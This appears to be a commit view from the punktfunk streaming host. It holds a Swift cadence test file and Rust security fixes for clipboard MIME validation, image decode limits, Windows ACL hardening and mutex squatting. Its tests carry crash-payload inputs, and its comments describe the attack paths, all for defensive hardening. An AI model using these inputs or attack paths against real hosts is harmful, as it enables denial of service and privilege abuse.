//
// These are deliberately the SAME cases and the SAME vectors as the Rust unit tests in
// crates/punktfunk-core/src/phase.rs (module `cadence_tests`). WP1's acceptance criterion is that
// all three clients emit the same numbers for the same synthetic input, and a hand-written port is
// exactly where that quietly stops being true so the port is pinned here rather than trusted.
//
// If you change one side, change both, and keep the vectors identical.
import Foundation
import XCTest
@testable import PunktfunkKit
final class PresentIntervalsTests: XCTestCase {
/// 120 Hz in ns the Rust tests' `P`.
private static let P: Int64 = 8_333_333
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
/// Mirrors the Rust helper of the same shape.
private func cadence(_ spacings: [Int64], _ n: Int, period: Int64 = P) -> PresentIntervals {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: period)
for i in 0..<n {
t += spacings[i % spacings.count]
pi.record(presentNs: t, periodNs: period)
}
return pi
}
func testARegularCadenceHasNoJudder() {
let s = cadence([Self.P], 60).summary()
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.samples, 60)
}
/// The property that makes this one ruler across rates: a stream at half (or a quarter of)
/// the panel rate is SMOOTH, not judder the mode absorbs the cadence ratio.
func testSixtyOnOneTwentyReadsSmooth() {
for (mult, expected) in [(Int64(2), 2), (Int64(4), 4)] {
let s = cadence([Self.P * mult], 40).summary()
XCTAssertEqual(s?.modeUnits, expected)
XCTAssertEqual(s?.judderPermille, 0)
}
}
/// D3's signature: the same mean spacing as a steady 2, delivered as alternating 1 and 3.
/// Identical average frame rate, identical latency percentiles this is the broken-looking one.
///
/// Also pins the TIE-BREAK. The histogram is 50/50 here, and Rust's `max_by_key` takes the
/// last maximum while Swift's `max(by:)` takes the first, so both sides spell the rule out:
/// ties resolve to the smallest spacing.
func testTheSawtoothThatLatencyStatsCannotSee() {
let s = cadence([Self.P, Self.P * 3], 40).summary()
XCTAssertEqual(s?.judderPermille, 500)
XCTAssertEqual(s?.modeUnits, 1, "a tied mode resolves to the smallest spacing")
}
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
func testJitterInsideARefreshIsNotJudder() {
let s = cadence([Self.P + Self.P * 2 / 5, Self.P - Self.P * 2 / 5], 40).summary()
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
}
func testAStallIsCountedApartFromJudder() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
for _ in 0..<20 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
t += Self.P * 400 // a pause, not a pacing defect
pi.record(presentNs: t, periodNs: Self.P)
let s = pi.summary()
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.stalls, 1)
XCTAssertEqual(s?.samples, 20)
}
func testOutOfOrderCallbacksDoNotCorruptTheRun() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
pi.record(presentNs: t - Self.P * 3, periodNs: Self.P) // a late/duplicate delivery
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.disordered, 1)
XCTAssertEqual(
s?.judderPermille, 0,
"keeping the later instant means the following spacings stay on the grid")
}
/// The on-glass failure of 2026-08-05, pinned on both sides. A render callback can deliver a
/// garbage far-future timestamp on a session's first frames; holding "the later instant"
/// unconditionally latched onto it and scored EVERY subsequent present as disordered for the
/// whole session. One bad sample must cost one sample.
func testAGarbageFarFutureStampDoesNotWedgeTheRun() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
pi.record(presentNs: t + 60 * 60 * 1_000_000_000, periodNs: Self.P)
for _ in 0..<20 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.disordered, 1, "the garbage stamp cost exactly one sample")
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.samples, 19, "every present after the re-anchor scored")
}
func testAnUnknownGridScoresNothing() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
for _ in 0..<60 {
t += Self.P
pi.record(presentNs: t, periodNs: 0) // no learned period yet
}
XCTAssertNil(pi.summary())
XCTAssertNotNil(cadence([Self.P], 60).summary(), "control")
}
func testAShortWindowPublishesNothing() {
XCTAssertNil(cadence([Self.P], 5).summary())
}
/// The cadence continues across a window boundary dropping the predecessor on drain would
/// silently discard one interval per window, every window.
func testTakeResetsTheCountsButNotTheCadence() {
var pi = cadence([Self.P], 20)
XCTAssertNotNil(pi.take())
XCTAssertNil(pi.summary(), "counts cleared")
var t: Int64 = 1_000_000_000 + Self.P * 20
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
XCTAssertEqual(
pi.summary()?.samples, 10,
"the first post-drain present scored against the pre-drain one")
}
func testSplitForgetsThePredecessor() {
var pi = cadence([Self.P], 20)
_ = pi.take()
pi.split()
var t: Int64 = 5_000_000_000 // a discontinuity: the gap across it is meaningless
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.samples, 9)
XCTAssertEqual(s?.stalls, 0, "the gap was not scored at all")
}
}
-1
View File
@@ -773,7 +773,6 @@ fn mock_library() -> (
title: title.to_string(),
art: crate::library::Artwork::default(),
platform: None,
role: None,
};
let games = vec![
game("steam:570", "steam", "Dota 2"),
-14
View File
@@ -66,20 +66,6 @@ pub struct GameEntry {
/// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it.
#[serde(default)]
pub platform: Option<String>,
/// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens
/// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these
/// separately; one that doesn't renders them as ordinary tiles, which is the intended
/// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown
/// future value must never fail the whole library decode.
#[serde(default)]
pub role: Option<String>,
}
impl GameEntry {
/// Whether this entry opens a launcher rather than a game.
pub fn is_launcher(&self) -> bool {
self.role.as_deref() == Some("launcher")
}
}
/// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet").
+61 -1
View File
@@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
out
}
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
///
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
#[cfg(target_os = "linux")]
fn valid_passthrough_mime(m: &str) -> bool {
let Some((ty, rest)) = m.split_once('/') else {
return false;
};
!ty.is_empty()
&& !rest.is_empty()
&& m.len() <= 255
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
// any non-ASCII byte.
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
}
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
@@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
WIRE_PNG => push("image/png"),
WIRE_JPEG => push("image/jpeg"),
WIRE_GIF => push("image/gif"),
other => push(other),
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
// so a single interior NUL turns one control message into a host clipboard panic
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
// nothing upstream removes it. Validate here, at the boundary where the value stops
// being ours and becomes libwayland's.
other if valid_passthrough_mime(other) => push(other),
other => {
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
}
}
}
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
@@ -389,6 +417,38 @@ mod tests {
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
}
/// One control message must not be able to panic the host clipboard coordinator
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
#[test]
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
assert!(!valid_passthrough_mime("image/webp\0"));
assert!(!valid_passthrough_mime("\0"));
assert!(!valid_passthrough_mime("image/\0webp"));
// Other control bytes and whitespace are refused for the same reason.
assert!(!valid_passthrough_mime("image/web\np"));
assert!(!valid_passthrough_mime("image/web p"));
assert!(!valid_passthrough_mime("image/web\tp"));
// Shapes that are not a MIME type at all.
assert!(!valid_passthrough_mime(""));
assert!(!valid_passthrough_mime("noslash"));
assert!(!valid_passthrough_mime("/nosubtype"));
assert!(!valid_passthrough_mime("notype/"));
assert!(!valid_passthrough_mime(&format!(
"image/{}",
"x".repeat(300)
)));
// Legitimate uncanonicalized MIMEs still pass through.
assert!(valid_passthrough_mime("image/webp"));
assert!(valid_passthrough_mime("application/x-custom+json"));
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
// End to end: the offer list is built without the malformed entry, and does not panic.
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
assert_eq!(offers, vec!["image/png".to_string()]);
}
#[test]
fn pick_wayland_mime_prefers_canonical() {
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
+21 -1
View File
@@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
let img = image::load_from_memory(bytes).ok()?;
// Bound the DECODE, not just the result.
//
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
// review L-9). Limits applied here make the allocation refuse instead.
//
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
let mut limits = image::Limits::default();
limits.max_image_width = Some(32767);
limits.max_image_height = Some(32767);
limits.max_alloc = Some(256 * 1024 * 1024);
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
.with_guessed_format()
.ok()?;
let mut reader = reader;
reader.limits(limits);
let img = reader.decode().ok()?;
let rgba = img.to_rgba8();
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
if w == 0 || h == 0 || w > 32767 || h > 32767 {
+14 -3
View File
@@ -1022,10 +1022,21 @@ impl EiState {
// Track held state on the wire codes so `release_all` can undo it at
// session end (vanished clients must not leave anything latched).
match ev.kind {
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
self.held_keys.push(ev.code);
// Track the code we ACTUALLY INJECTED, not the raw wire code.
//
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
// never matched the entry a KeyDown for 0x141 left behind. A client sending
// distinct high bytes therefore appended entries that could never be removed, to a
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
// truncated code makes the list correct AND bounds it at 256 entries by
// construction. `release_all` re-injects through the same truncation, so the
// release path is unchanged.
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
self.held_keys.push(ev.code & 0xff);
}
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
self.held_buttons.push(ev.code);
}
+92 -17
View File
@@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
{
let r = std::fs::create_dir_all(dir);
#[cfg(windows)]
restrict_dir_to_system_admins(dir);
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
r
}
}
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
/// expensive recursive re-own.
///
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
/// would re-walk the whole config tree — recordings, art cache — for nothing.
#[cfg(windows)]
fn first_hardening_of(dir: &std::path::Path) -> bool {
use std::collections::HashSet;
use std::sync::{Mutex, OnceLock};
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
.lock()
.map(|mut s| s.insert(dir.to_path_buf()))
.unwrap_or(false)
}
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
/// Administrators.
///
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
#[cfg(windows)]
pub fn restrict_existing_secret_file(path: &std::path::Path) {
if !path.exists() {
return;
}
let icacls = icacls_path();
let _ = std::process::Command::new(&icacls)
.arg(path.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
restrict_to_system_admins(path);
}
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
#[cfg(not(windows))]
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
#[cfg(windows)]
fn icacls_path() -> String {
std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string())
}
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
@@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
#[cfg(windows)]
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
// needless churn (secret files are individually owner-locked by `write_secret_file`).
let _ = std::process::Command::new(&icacls)
.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
let icacls = icacls_path();
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
//
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
// Re-owning only the directory left every file the attacker had already created still owned by
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
// deep pass at startup closes it without re-walking recordings and art cache on every write.
let mut own = std::process::Command::new(&icacls);
own.arg(dir.as_os_str())
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
if deep {
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
}
let _ = own
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
@@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
"/grant:r",
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
"/grant:r",
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
// so a file a local user created before the hardening ran stayed writable by them even
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
// Administrators cover every account that legitimately writes here; a non-elevated
// manual run gets read-only config, which is the intended boundary rather than a
// regression — this directory drives command execution as SYSTEM.
"/grant:r",
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
])
@@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
///
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
///
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
/// window becomes real again.
pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
use std::io::Write;
let mut opts = std::fs::OpenOptions::new();
@@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
/// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
#[cfg(windows)]
fn restrict_to_system_admins(path: &std::path::Path) {
let icacls = std::env::var("SystemRoot")
.map(|r| format!("{r}\\System32\\icacls.exe"))
.unwrap_or_else(|_| "icacls".to_string());
let icacls = icacls_path();
let status = std::process::Command::new(icacls)
.arg(path.as_os_str())
.args([
+30
View File
@@ -30,6 +30,12 @@ const STALE_REOPEN_NS: u64 = 100_000_000;
pub(crate) const MARGIN_STEP_NS: u64 = 500_000;
pub(crate) const MARGIN_MAX_NS: u64 = 2_500_000;
/// Judder (‰ of present intervals off the modal spacing) that on its own justifies a 1 Hz
/// presenter line. A cadence defect produces no drops, no gate holds and healthy latency
/// percentiles, so it would otherwise stay silent until someone set the debug env var.
/// Occasional single-frame slips are normal; a twentieth of a window is not.
pub(crate) const JUDDER_LOG_PERMILLE: u16 = 50;
/// The decoded-frame store between the wake channel and the present call.
///
/// `capacity == 0` = newest-wins (latency intent): `submit` replaces, `take` clears.
@@ -183,6 +189,15 @@ pub(crate) struct LatchClock {
pending_count: u32,
grid: punktfunk_core::phase::PanelGrid,
fallback_period_ns: u64,
/// The cadence (judder) statistic — the only stat we publish that is not a latency,
/// and the only one that can see a pacing defect. Lives here because this is where
/// the on-glass stamps and the learned grid it quantises against already meet.
///
/// ⚠ These stamps are `CLOCK_REALTIME` (the module's domain), so a wall-clock step
/// would forge one hitch that never happened. It lands in the stall/disordered
/// counters rather than the judder ratio, which is why that split is worth having.
/// Android feeds the metric a raw monotonic stamp and has no such exposure.
intervals: punktfunk_core::phase::PresentIntervals,
}
/// Spacings per handoff to [`punktfunk_core::phase::PanelGrid`]. Small enough that a real
@@ -198,14 +213,29 @@ impl LatchClock {
pending_count: 0,
grid: punktfunk_core::phase::PanelGrid::seeded(refresh_hz as i32),
fallback_period_ns: 1_000_000_000 / u64::from(refresh_hz.max(1)),
intervals: punktfunk_core::phase::PresentIntervals::new(),
}
}
/// Drain the window's cadence summary — the 1 Hz stat boundary, beside the store and
/// gate counters.
pub(crate) fn take_cadence(&mut self) -> Option<punktfunk_core::phase::PresentCadence> {
self.intervals.take()
}
/// Fold on-glass stamps (ascending). Spacings are measured against the previous
/// stamp whatever the batching, so the loop's one-sample-per-pass drain still feeds
/// the learner.
pub(crate) fn note_batch(&mut self, stamps: &[u64]) {
// Seeded-or-learned, so cadence is scored from the first window rather than only
// once the learner has converged. Held for the batch: a mid-batch period change
// would requantise a handful of samples for no benefit.
let period_ns = self.period_ns() as i64;
for &s in stamps {
// Cadence sees EVERY stamp, including the sub-millisecond pairs the grid
// learner skips below: two presents inside one refresh is not a grid step,
// but it is very much a cadence event (it scores as a zero-refresh interval).
self.intervals.record(s as i64, period_ns);
if self.last_ns != 0 && s > self.last_ns {
let d = s - self.last_ns;
// < 1 ms apart = a queued pair, not a grid step.
+23 -2
View File
@@ -19,7 +19,8 @@
use crate::input::{Capture, FingerPhase};
use crate::overlay::{FrameCtx, Overlay, OverlayAction, OverlayFrame, SessionPhase};
use crate::present_pace::{
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, MARGIN_MAX_NS, MARGIN_STEP_NS,
Cadence, CadenceProbe, FrameStore, LatchClock, PresentGate, JUDDER_LOG_PERMILLE, MARGIN_MAX_NS,
MARGIN_STEP_NS,
};
use crate::touch::Abs;
use crate::vk::{FrameInput, Presenter};
@@ -1821,6 +1822,7 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
// a second `take_counters` would read zeros.
let (replaced, q_drop, q_dry) = st.store.take_counters();
let (gated, forced) = st.gate.take_counters();
let cadence = st.clock.take_cadence();
st.presented = PresentedWindow {
e2e_p50_ms: e2e_p50 as f32 / 1000.0,
e2e_p95_ms: e2e_p95 as f32 / 1000.0,
@@ -1834,6 +1836,8 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
q_dry,
gated,
forced,
judder_permille: cadence.map(|c| c.judder_permille).unwrap_or(0),
cadence_mode: cadence.map(|c| c.mode_units).unwrap_or(0),
};
st.win_e2e_us.clear();
st.win_disp_us.clear();
@@ -1855,7 +1859,14 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
// The 1 Hz presenter line (the Apple `pf-present` analogue): emitted
// when anything moved, or always under PUNKTFUNK_PRESENT_DEBUG=1 —
// the field-triage instrument for the intent engine.
if pacing_active && (present_debug || q_drop + q_dry + gated + forced > 0) {
// Judder joins the "something moved" triggers deliberately: a cadence
// defect shows NO drops, NO gate holds and healthy percentiles, so
// without this a stream can judder visibly and never emit a line.
if pacing_active
&& (present_debug
|| q_drop + q_dry + gated + forced > 0
|| st.presented.judder_permille >= JUDDER_LOG_PERMILLE)
{
tracing::info!(
smoothing = st.presented.smoothing,
mode = st.presented.mode,
@@ -1871,6 +1882,8 @@ fn run_inner(mut opts: SessionOpts, mut mode: ModeCtl) -> Result<Option<Outcome>
latch_ms = st.presented.latch_ms,
period_us = st.clock.period_ns() / 1000,
margin_us = st.margin_ns / 1000,
judder_permille = st.presented.judder_permille,
cadence_mode = st.presented.cadence_mode,
"presenter window"
);
}
@@ -2368,6 +2381,14 @@ struct PresentedWindow {
q_dry: u32,
gated: u32,
forced: u32,
/// The cadence (judder) statistic — the fraction of present intervals (‰) that missed
/// the modal spacing, and that modal spacing in whole refreshes. Every other number
/// here is a latency and none of them can see a pacing defect: alternating 1 and 3
/// refreshes has the same mean rate as a steady 2, better latency percentiles, and
/// looks broken. `mode 0` = not enough evidence this window.
/// See [`punktfunk_core::phase::PresentIntervals`].
judder_permille: u16,
cadence_mode: u8,
}
/// The capture hints (`ui_stream` parity — the words the user reads while released).
+5
View File
@@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" }
bytemuck = { version = "1.19", features = ["derive"] }
windows = { version = "0.62", features = [
"Win32_Foundation",
# The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
# a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
# name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
"Win32_Security",
"Win32_Security_Authorization",
"Win32_Devices_DeviceAndDriverInstallation",
"Win32_Devices_Display",
"Win32_Graphics_Gdi",
@@ -2465,18 +2465,11 @@ pub fn ei_socket_file() -> std::path::PathBuf {
crate::with_env_lock(pf_paths::gamescope_ei_socket_file)
}
/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single
/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on.
/// Pure + unit-tested.
///
/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry
/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more*
/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged
/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with
/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the
/// launch that most needs them.
/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's
/// single instance free before a dedicated spawn (B1). Pure + unit-tested.
fn is_steam_launch(cmd: &str) -> bool {
cmd.split_whitespace().next() == Some("steam")
let mut it = cmd.split_whitespace();
it.next() == Some("steam") && cmd.contains("steam://")
}
/// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch
@@ -2872,13 +2865,7 @@ mod tests {
assert!(is_steam_launch("steam -silent steam://rungameid/570"));
assert!(!is_steam_launch("vkcube"));
assert!(!is_steam_launch("lutris lutris:rungameid/42"));
// A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the
// single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would
// have skipped both for the one launch that is Big Picture itself.
assert!(is_steam_launch("steam -gamepadui"));
assert!(is_steam_launch("steam"));
// A command that merely mentions steam elsewhere is not a Steam client launch.
assert!(!is_steam_launch("mygame --steam-overlay"));
assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch
}
#[test]
@@ -2904,13 +2891,6 @@ mod tests {
shape_dedicated_command("steam -bigpicture"),
"steam -bigpicture"
);
// The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever
// fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice.
assert_eq!(
shape_dedicated_command("steam -gamepadui"),
"steam -gamepadui"
);
assert_eq!(shape_dedicated_command("steam"), "steam");
}
#[test]
@@ -3,6 +3,7 @@
//! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.
use super::*;
use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};
/// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
/// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
@@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
machine refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
service stop`) first.";
// SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
// the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
// ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
// A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
// includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
// security attributes this object took the DACL from the creating token's default, and a
// squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
// and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
// below and reports a perfectly reasonable "another instance is managing the driver", which
// sends the operator hunting a process that does not exist (2026-08-05 review L-16).
//
// Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
// the OWNER of a name that already exists so a squat is reported as a squat.
let sd = security_descriptor()?;
let sa = SECURITY_ATTRIBUTES {
nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
lpSecurityDescriptor: sd.0,
bInheritHandle: false.into(),
};
// SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
// the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
// `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
// protocol for pre-existing named objects.
unsafe {
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
Ok(h) => h,
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
// is live; it is ALSO exactly what a squat looks like, so say both.
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process any \
